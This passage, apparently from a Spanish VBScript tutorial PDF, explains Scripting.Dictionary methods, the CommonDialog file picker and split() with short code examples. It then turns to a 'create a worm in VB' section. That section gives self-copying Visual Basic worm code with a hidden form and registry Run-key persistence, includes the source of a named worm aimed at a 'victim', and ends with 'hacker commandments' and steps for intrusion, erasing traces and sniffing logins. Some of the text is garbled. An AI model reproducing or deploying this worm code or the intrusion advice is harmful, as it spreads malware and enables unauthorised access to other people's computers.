A continuación, como accesar a estos elementos.

Listar elementos asociados Para listar elementos basta con invocar el diccionario, como si de cualquier otro array o colección se tratase, y

pasarle como “índice” el elmento que estamos buscando: Set objdic = createobject(“scripting.dictionary”)

Objdic(variable) Ejemplo: Set objdic = createobject(“scripting.dictionary”)

objdic.add “1ero”, “Primero”

objdic.add “2do”, “Segundo”

objdic.add “3ero”, “Tercero” ‘hasta aquí declaramos elementos en el diccionario

Msgbox objdic(“2do”) En este ejemplo “solicitariamos” el valor asociado al elemento “2do”, en este caso “Segundo”.

Page 155: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 155

Tener en cuenta además, que en caso de intentar listar un elemento que no se encuentra en el diccionario, no

recibiremos nigún mensaje de error, sino que la cadena devuelta será una vacía. Listar elementos

Otra opción al momento de utilizar los elementos del diccionario, es tratar ambos valores (elemento y valor

asociado), como si se tratasen de dos arrays independientes, es decir, elementos por un lado, y valores por otro. Para acceder al listado de elementos haremos uso de la función keys: Set objdic = createobject(“scripting.dictionary”)

Elementos = objdic.keys Ejemplo: Set objdic = createobject(“scripting.dictionary”)

objdic.add “1ero”, “Primero”

objdic.add “2do”, “Segundo”

objdic.add “3ero”, “Tercero”

Elementos = objdic.keys

For each E in Elementos

Msgbox E

Next

En este ejemplo los resultados serían, “1ero”, “2do” y “3ero”, es decir, lo que correspondería al primero de los dos array

en el diccionario.

Listar valores En este caso para acceder al array de valores, se haría del mismo modo que antes, solo que en lugar de keys

utilizaremos items: Set objdic = createobject(“scripting.dictionary”)

Valores = objdic.items Ejemplo:

Set objdic = createobject(“scripting.dictionary”)

objdic.add “1ero”, “Primero”

objdic.add “2do”, “Segundo”

objdic.add “3ero”, “Tercero”

Valores = objdic.items

For each E in Valores

Msgbox E

Next Con lo cual obtendríamos los valores, “Primero”, “Segundo” y “Tercero”

Determinar si un elemento ya existe El objeto Dictionary tiene una particularidad frente a otros tipos de colecciones (además de que guarda los elementos

por pares), y es que si intentamos agregar un elemento que ya ha sido declarado, obtendremos un bonito mensaje de

error, informando de que “la clave ya está asociada con un elemento de esta colección”. Es por eso que en caso de

querer asignar un valor a un elemento, deberíamos de verificar que dicho elemento no se encuentre ya en el diccionario.

Page 156: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 156

Para verificar la existencia o no de un elemento en el diccionario haremos uso de la función exists: Set objdic = createobject(“scripting.dictionary”)

Variable = objdic.exists(elemento) Ejemplo: Set objdic = createobject(“scripting.dictionary”)

objdic.add “1ero”, “Primero”

Msgbox objdic.exists(“1ero”)

En este ejemplo, dado que el diccionario contiene el elemento, se nos mostraría un mensaje con el texto de

“Verdadero”, para el caso de que no exista, el mensaje será “Falso” obviamente. Tener en cuenta además que esta función devuelve valores booleanos, TRUE o FALSE, por lo que en caso de querer

hacer uso de la función IF, debemos de compararlas contra “Verdadero” y “Falso”, o TRUE y F LSE (los primeros van tal

cual con comillas, los segundos da igual).

Borrar elementos Luego de haber visto como determinar si los elementos ya están en el “listado”, veremos como eliminar estos

elementos. Esto nos será particularmente útil, en caso de querer asignar un nuevo valor a los elementos ya

asociados, ya que como vimos antes, no es posible sobreescribirlos. La función: Set objdic = createobject(“scripting.dictionary”)

objdic.remove(elemento) Ejemplo:

Set objdic = createobject(“scripting.dictionary”)

objdic.add “1ero”, “Primero”

objdic.add “2do”, “Segundo”

objdic.add “3ero”, “Tercero”

objdic.remove “2do” ‘el parentesis es opcional

Como se ve, simplemente hemos añadido algunos elementos, para luego borrar el segundo de la lista (notese como no

importa cual sea el que eliminemos) Borrar Todos los elementos

Por último, en el caso de querer eliminar Todos los elementos del diccionario, simplemente se deberá de hacer uso

de removeall. Set objdic = createobject(“scripting.dictionary”)

objdic.removeall Lo cual no merece ningún tipo de ejemplo ya que queda a la vista como sería el uso de este método. Así termina la

cuarta parte de este tutorial, y una vez más, con un objeto sencillo y de poca difusión, pero nunca se sabe cuando se

pueda llegar a necesitar.

CommonDialog

El objeto commondialog sirve para mostrar un mensaje de abrir/guardar como. En mi caso particularmente no hago

uso de este objeto, pero puede resultar últil para quienes quieran agregar un poco más de interactividad a sus

scripts, y de cierto modo, hacer más sencillo el uso de este para el “usuario final”. Para el uso de esta ventana, solo

será necesario pasarle ciertos parámetros para hacer uso de la misma, inicializandolo por medio de

seraccounts.commondialog .

Page 157: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 157

Nota: Este objeto solo se encuentra presente en Win XP, no antes, y en Vista se he eliminadoexiste otro objeto que se

inicia con mscomdlg.commondialog, y que cumple una función similar pero con más opciones, pero este último,

solamente esta disponible para las pc con VB Los parámetros que se deben de pasar a este objeto son:

• Filtros: Filter • Indice de filtros: Filterindex • Directorio inicial: InitialDir • Opciones: Flags

Luego de seleccionados los parámetros de la ventana, podremos mostrala por medio de la función Showopen y

obtendremos la ruta por medio de Filename. El primero de los parámetros, Filter , hace referencia a los tipos de

archivos que van a aparecer en el cuadro.

Filterindex determina cual de los tipos de archivos seleccionados (Filter) son los que van a aprecer por defecto.

Initialdir es el directorio raíz que va a aparecer por defecto (de cualquier manera se podrá subir por el directorio)

Y Flags son algunas opciones extras que se pueden seleccionar a la hora de mostrar la ventana (en este caso solo

mostraré una de ellas). Dado que este objeto es de fácil utilización, pasaré directamente a un ejemplo, donde explicaré

un poco mejor cada uno de estos parámetros. Ejemplo: Set objdialog = createobject("useraccounts.commondialog")

objdialog.filter = "VBScript|*.vbs|Javascript|*.js"

objdialog.filterindex = 1

objdialog.initialdir = "C:\Documents and Settings\Novlucker"

odresp = objdialog.showopen

If odresp = -1 then

Msgbox objdialog.filename

End If

El resultado:

Page 158: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 158

Pasemos ahora a repasar cada una de las opciones que hemos pasado. objdialog filter = “VBScript|* vbs|Javascript|* js” Como había comentado, a través de los filtros, podremos determinar, cuales serán los tipos de archivos que

aparecerán al visualizar los diferentes archivos de una carpeta. En el ejemplo, he puesto archivos vbscript, y

javascripts. El “tipo de archivo” en palabra (VBScript y Javascript) no hace ningún tipo de diferencia, sino que se trata

simplemente de lo que servirá como referencia para el usuario, es decir, podríamos poner cualquier cosa y el

resultado final sería el mismo, como ejemplo: objdialog filter = “Archivos vbs|*.vbs|Archivos javascript|* js” Lo que si hace la diferencia, es el asterísco seguido de la extensión del archivo que se mostrará, para el ejemplo, *.vbs,

y *.js. Para el caso de querer establecer “todos los archivos”, se utilizará algo del estilo “ ll Files|* *” Notese además que cada uno de estos valores va separado del siguiente, por medio de un simbolo “pipe”

(generalmente utilizado en distintos lenguajes para la canalización de órdenes).

Como habíamos dichio antes Filterindex determina el tipo de archivo por defecto que será mostrado, en este caso he

elegido el index 1, que en el Filter serían los archivos vbs , de haberse elegido 2, lo que se mostraría primero sería

javascript y no vbs. objdialog initialdir = “C \Documents and Settings\Novlucker” Como había dicho antes, initialdir establece el directorio en el cual se “abrirá” nuestra ventana, en este caso he

establecido el directorio “C:\Documents and Settings\Novlucker”, y como se puede apreciar en la imagen, esto es lo que

se ha mostrado en la ventana, claro está que igualmente se podrá “subir” partiendo de este. Con esto básicamente establecemos las opciones básicas de nuestra ventana, para luego mostrarla en la línea

siguiente. odresp = objdialog.showopen Como se puede ver, he asignado la “respuesta” de este elemento a la variable odresp, lo cual es totalmente

opcional (podría hacerse sin el “odresp =”), pero nos permitirá determinar de manera más exacta, que es lo que pasa

con nuestra ventana, ya que esta variable podrá tener dos valores según el usuario elija algún archivo y de a

ACEPTAR (valor -1), o bien no seleccione ninguno y presione CANCELAR (valor 0). Es por eso que en nuestro ejemplo

utilizamos un condicional IF para determinar cual ha sido la acción que se ha tomado respecto a nuestra ventana, en

caso de haberse elegido un archivo, mostramos su ruta (filename). Luego de accedido a la ruta del archivo en cuestión, es decisión nuestra lo que se haga con esta ruta, ya sea copiar,

mover, abrir, etc, siempre dentro de las posibilidades de vbs claro está.

Page 159: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 159

Cual es la limitación de esta ventana así como está? Que no es posible la selección de múltiples archivos, sino que

siempre se nos permitirá elegir uno y solo uno de todos los que aparecen. Para solucionar esto utilizaremos el parámetro flags, el cual entre otras opciones controla la posibilidad de mostrar un

cuadro como el que necesitamos (se tratará solamente esta, aunque existen muchas otras). Para esto, se pasará

&H0200 como valor a este parámetro (siguiendo con el ejemplo anterior):

Ejemplo: Set objdialog = createobject("useraccounts.commondialog")

objdialog.filter = "VBScript|*.vbs|Javascript|*.js"

objdialog.filterindex = 1

objdialog.flags = &H0200

objdialog.initialdir = "C:\Documents and Settings\Novlucker"

odresp = objdialog.showopen

El resultado:

Como se puede ver, el aspecto de nuestra ventana ha cambiado, es un poco más “rústica”, pero igualmente cumple la

misma función. La particularidad de los datos que nos devuelve esta ventana con respecto a la anterior, es que

dado que se seleccionan múltiples archivos, esta nos devolverá todos los valores en una misma cadena, partiendo del

ejemplo anterior, en el caso de haber elegido los archivos “Script1 vbs” y “Script2 vbs”, el resultado sería el siguiente:

C:\DOCUME~1\NOVLUC~1\Script1.vbs Script2.vbs En la imagen se ve claramente como las rutas de ambos archivos que hemos seleccionado aparecen en una misma cadena, además de que dichas rutas se muestran en formato “corto”. Pero si miramos detenidamente, podemos ver que cada una de estas rutas, esta separada por un espacio, donde la primera parte contiene la ruta a la carpeta contenedora, y el resto son los archivos en cuestión. Habiendo visto esto entonces, podremos escribir un método para crear facilmente las rutas a estos archivos, para lo cual haremos uso de la función split.

Split es una función de vbs que no hace más que “cortar” una determinada cadena, tomando como separador el/los

caractéres que le indiquemos, y guarda en un array cada una de las partes de dicha cadena.

Ejemplo:

CadenaTexto = "1;2;3;4;5"

CTtoAray = split(CadenaTexto,";") 'Cortamos la cadena con ; como separador For each C in CTtoAray Msgbox C Next Como se puede ver en el ejemplo, con una cadena definida, hemos cortado esta cadena utilizando split , y hemos guardado cada uno de los valores dentro de un array para luego acceder del modo tradicional.

Veamos ahora entonces como podemos utilizar esta función para obtener las direcciones de los múltiples archivos

seleccionados mediante nuestra ventana. Como habíamos dicho, los archivos son mostrados en una única cadena

pero separados por espacios, por lo que para poder obtener las rutas simplemente deberemos utilizar la anterior

función, pero utilizando como separador, no una cadena, sino un espacio.

Page 160: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 160

Una vez más siguendo con el ejemplo anterior, el proceso sería más o menos así:

Set objdialog = createobject("useraccounts.commondialog")

objdialog.filter = "VBScript|*.vbs|Javascript|*.js"

objdialog.filterindex = 1

objdialog.flags = &H0200

objdialog.initialdir = "C:\Documents and Settings\Novlucker"

odresp = objdialog.showopen

Rutas = objdialog.filename Arutas = split(Rutas, " ") 'cortamos la cadena segun espacios For i = 1 to ubound(Arutas) 'ubound muestra el índice más grande de un array Msgbox Arutas(0) & Arutas(i) 'la ruta es la suma del indice cero (carpeta contenedora) y el archivo Next En este caso para generar las rutas debemos de concatenar la ruta que se encuenta en en indice cero (ya que como habíamos dicho, la primera ruta que aparece en la cadena de texto es la dirección de la carpeta contenedora) y el nombre del archivo en cuestión, ya que de no hacer así lo único que obtendríamos sería nombres de archivos sueltos, y nos sus rutas. Durante el proceso he utilizado la función Ubound (upper), que junto a la función Lbound (Lower), no hacen más que mostrar los números de índice máximo y mínimo de un array respectivamente

El resultado: En definitiva, justamente lo que estabamos buscando. Y bueno así termina una nueva parte de este tutorial, en este caso con la explicación de un objeto que como he dicho, particularmente no lo utilizo, pero seguro a más de uno le parecerá interesante para hacer más didácticos sus scripts.

Page 161: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 161

Tutorial para Crear Worm En VB Lo primero es generar el ejecutable...con esta sencilla declaracion puedes elegir la ruta pero cuidadito con meter muxa ruta aver si al final no se encuentra en el PC de la victima.... 'apartir de aki ya empezar a copiar codigo Sub Form_Load() On Error Resume Next Open “C:\ Worm.Win32.TutorialVB.TXT” For Output As #1 'ruta que seguira el Worm puedes darle otra ruta.. ten ojo en esto Print #1, “Este TXT lo genero” Print #1, “el” Print #1, “Worm.Win32.TutorialVB” Close #1 End Sub '---------------------------------------------------------------------------------- Sub Form_Load() Do ' Bucle que verifica a cada momento si el tienmpo actual es el que se declara para volver a copiarse If Minute(Now) = 3 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE" End Sub '---------------------------------------------------------------------------------- 'como ves esto es por ejemplo el minuto es 3 pues el worm se vuelve a copiar en el destino introducido 'Seguimos añadiendo informacion sobre los segundos ahora... no hace falta que siga explicando.... no? '---------------------------------------------------------------------------------- Sub Form_Load() On Error Resume Next Do If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.EXEName & ".EXE", ".\K.EXE" Loop End Sub '---------------------------------------------------------------------------------- 'esto otro ara que el Worm se copie en el directorio que se declara, cada vez que el minuto y el segundo coincida con 'los del sistema... todo esto se añade para que este se auntocopie el mayor numero de veces posible asta ay te digo 'tu ya az lo que veas (la declaracion second(now) y minute (now) las utiliza para conocer la hora y segundos actuales 'de el systema de tu victima lo que hace aqui es llamarla a partir de declaraciones... "ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa ay como una lista de las propiedades de el form, bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por el "false" y ya no dara el cantazo... ' EMPIEZA A COPIAR!! Aki dejo el codigo de este worm Worm.Win32.Yaneth.7168. es bueno añadelo al form '------------------------------------------------------------------------- Private Sub Form_Load() A = App.EXEName E = ".exe" C = "C:\Yaneth.exe" On Error Resume Next FileCopy A & E, C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese Set Yanet = CreateObject("WScript.Shell" ) Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C Open "C:\Yaneth.txt" For Output As #1 Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD" Print #1, "\¸^fibso'chicb'btsft8Z" Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z" Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ" Print #1, "\Bth'ih'bt'mrtshZ" Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z" Close #1 Do M = Minute(Now) S = Second(Now) Y = "A:\Yaneth.exe" If M = 0 And S = 0 Then FileCopy A & E, Y If M = 5 And S = 0 Then FileCopy A & E, Y If M = 10 And S = 0 Then FileCopy A & E, Y If M = 15 And S = 0 Then FileCopy A & E, Y

Page 162: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 162

If M = 20 And S = 0 Then FileCopy A & E, Y If M = 25 And S = 0 Then FileCopy A & E, Y If M = 30 And S = 0 Then FileCopy A & E, Y If M = 35 And S = 0 Then FileCopy A & E, Y If M = 40 And S = 0 Then FileCopy A & E, Y If M = 45 And S = 0 Then FileCopy A & E, Y If M = 50 And S = 0 Then FileCopy A & E, Y If M = 55 And S = 0 Then FileCopy A & E, Y Loop End Sub 'crea una shell en el registro, se copia en C, A, E '-- lo que hace es colgar la PC es sencillo pero esta bien para .... a tu victima... se autoejecuta al iniciar l PC!.. ------------------------------------------------------------------------------------------------------------------------------------------------------------

LOS DIEZ MANDAMIENTOS DEL HACKER

I. Nunca destroces nada intencionalmente en la Computadora que estés crackeando.

II. Modifica solo los archivos que hagan falta para evitar tu detección y asegurar tu acceso futuro al sistema.

III. Nunca dejes tu dirección real, tu nombre o tu teléfono en ningún sistema.

IV. Ten cuidado a quien le pasas información. A ser posible no pases nada a nadie que no conozcas su voz,

número de teléfono y nombre real.

V. Nunca dejes tus datos reales en un BBS, si no conoces al sysop, déjale un mensaje con una lista de gente

que pueda responder de ti.

VI. Nunca hackees en computadoras del gobierno. El gobierno puede permitirse gastar fondos en buscarte

mientras que las universidades y las empresas particulares no.

VII. No uses BlueBox a menos que no tengas un servicio local o un 0610 al que conectarte. Si se abusa de la

bluebox, puedes ser cazado.

VIII. No dejes en ningún BBS mucha información del sistema que estas crackeando. Di sencillamente "estoy

trabajando en un UNIX o en un COSMOS...." pero no digas a quien pertenece ni el teléfono.

IX. No te preocupes en preguntar, nadie te contestara, piensa que por responderte a una pregunta, pueden

cazarte a ti, al que te contesta o a ambos.

X. Punto final. Puedes pasearte todo lo que quieras por la WEB, y mil cosas mas, pero hasta que no estés

realmente hackeando, no sabrás lo que es.

PASOS PARA HACKEAR

1.Introducirse en el sistema que tengamos como objetivo.

2.Una vez conseguido el acceso, obtener privilegios de root (superusuario).

3.Borrar las huellas.

4.Poner un sniffer para conseguir logins de otras personas.

QUE PASARÁ MAS ADELANTE.....

La incorporación de las denominadas "redes inteligentes" podría dificultar considerablemente las actividades de los

Hackers. El Instituto Tecnológico de Georgia, EEUU, trabaja en un proyecto de desarrollo de redes neurológicas, que

probablemente aumentarán la seguridad del tráfico digital. El nombre "red neurológica" se basa en las neuronas del

cerebro humano, que aprenden de la experiencia, creando conexiones entre las distintas áreas del cerebro. Con todo,

cabe precisar que no se trata de redes que estén en condiciones de pensar, sino de sistemas capaces de identificar

patrones en el flujo digital y aprender de los intentos de intrusión. Hoy en día, los administradores de sistemas deben

actualizar manualmente los sistemas de protección de las redes contra las embestidas de los sagaces piratas

informáticos. Con la incorporación de redes inteligentes se hará más previsible y fácil la contención de los intrusos,

según escribe James Cannady, experto en el tema, en un artículo en Netsys.com. Según Cannady, tales redes estarán

incluso en condiciones de detectar máquinas que monitorizan ilegalmente el tráfico de la red para captar y apoderarse

de información tal como números de tarjetas de crédito, contraseñas y otros datos confidenciales. La novedad es que las

redes neurológicas detectarán ese tipo de máquinas sin que sus operadores se percaten.